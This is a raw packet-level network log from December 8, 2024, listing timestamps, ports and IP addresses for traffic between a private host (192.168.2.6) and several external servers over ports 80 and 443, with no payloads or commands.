Dec 8, 2024 17:45:46.190104008 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.190124989 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.190190077 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.191046953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.191057920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.191103935 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.192012072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.192090034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.192123890 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.192229986 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.193150043 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.193162918 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.193236113 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.194447041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.194459915 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.194503069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.194503069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.195400953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.195447922 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.195497036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.195971966 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.195987940 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.196033955 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.196041107 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.196069956 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.196084023 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.196495056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.196610928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.196630001 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.196645975 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.197670937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.197740078 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.197750092 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.197796106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.198714018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.198728085 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.198770046 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.198795080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.199871063 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.199928999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.199956894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.199996948 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.200962067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.201021910 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.201050997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.201080084 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.202125072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.202181101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.202239990 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.202331066 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.203239918 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.203252077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.203295946 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.204355955 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.204386950 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.204499960 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.205416918 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.205470085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.205543041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.205653906 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.205667019 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.205672026 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.205718040 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.205727100 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.205754995 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.205774069 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.206557035 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.206650019 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.206684113 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.206767082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.207766056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.207804918 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.207811117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.207856894 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.208794117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.208875895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.208920956 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.209063053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.209956884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.209969044 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.210103035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.210979939 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.211055040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.211087942 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.211143017 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.212109089 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.212182999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.212210894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.212261915 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.213280916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.213340044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.213356972 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.213471889 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.214351892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.214467049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.214478970 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.214524031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.214766026 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.214781046 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.214840889 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.214848042 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.215039015 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.215467930 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.215545893 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.215573072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.215689898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.216593027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.216660976 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.216727018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.216790915 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.217711926 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.217801094 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.217828989 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.217881918 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.218827009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.218925953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.224425077 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.224441051 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.224526882 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.224534035 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.224570990 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.232911110 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.232927084 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.232990980 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.232996941 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.233108997 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.277043104 CET	443	49832	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:46.277165890 CET	49832	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:46.278827906 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.278887987 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.278908014 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.278908968 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.278922081 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.278956890 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.278987885 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.287381887 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.287410975 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.287425995 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.287436962 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.287448883 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.287458897 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.287517071 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.321316004 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.321999073 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.322030067 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.322555065 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.322560072 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.329000950 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.329062939 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.329313040 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.329669952 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.329730988 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.329773903 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.329782009 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.329842091 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.329885006 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.330532074 CET	443	49825	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.330595970 CET	443	49825	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.330641985 CET	49825	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.333333969 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.333333969 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.333352089 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.333362103 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.336700916 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.336730957 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.336745024 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.336750984 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.343286991 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.343305111 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.345735073 CET	49825	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.345741034 CET	443	49825	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.352647066 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.352706909 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.352751017 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.352876902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.353152037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.353172064 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.353210926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.354387999 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.354476929 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.354505062 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.354532003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.355416059 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.355463982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.355535984 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.355575085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.356514931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.356573105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.356627941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.356766939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.357656002 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.357743979 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.357819080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.358745098 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.358849049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.358855009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.358896971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.359920025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.359998941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.360080004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.360232115 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.360249996 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.360291958 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.360301971 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.360316038 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.360392094 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.361287117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.361324072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.361357927 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.361357927 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.362097979 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.362162113 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.362193108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.362193108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.363207102 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.363317013 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.363327026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.363414049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.364387035 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.364399910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.364458084 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.364458084 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.365477085 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.365525007 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.365569115 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.365648031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.366575003 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.366632938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.366790056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.366852999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.367690086 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.367757082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.367799044 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.367846966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.368874073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.368911028 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.368937016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.369008064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.369899035 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.369924068 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.369966984 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.369972944 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.369998932 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.370007992 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.370018959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.370018959 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.370058060 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.371052980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.371113062 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.371150970 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.371197939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.372180939 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.372255087 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.372334957 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.373277903 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.373346090 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.379597902 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.379615068 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.379698038 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.379704952 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.383385897 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.388058901 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.388078928 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.388180017 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.388185978 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.391396999 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.397872925 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.397887945 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.397978067 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.397984982 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.398025990 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.406928062 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.406945944 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.407046080 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.407052040 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.407094955 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.416810989 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.416826963 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.416914940 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.416922092 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.419310093 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.426495075 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.426511049 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.426597118 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.426606894 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.427371979 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.499756098 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.499785900 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.499800920 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.499814987 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.499823093 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.499914885 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.499914885 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.544368982 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.544380903 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.544413090 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.544451952 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.544467926 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.544502974 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.544523954 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.544754028 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.544764996 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.544791937 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.544821024 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.544827938 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.544852972 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.544873953 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.549946070 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.549979925 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:46.550043106 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:46.552788973 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.552808046 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.552880049 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.552889109 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.552927017 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.552937984 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.560575008 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.560591936 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.560682058 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.560689926 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.562320948 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.565318108 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.565361023 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.565391064 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.565397978 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.565422058 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.565431118 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.565438032 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.565479040 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.605278969 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.605313063 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.605379105 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.605402946 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.605433941 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.605520010 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.622518063 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.622535944 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.622590065 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.622601032 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.622637987 CET	49830	443	192.168.2.6	150.171.27.10
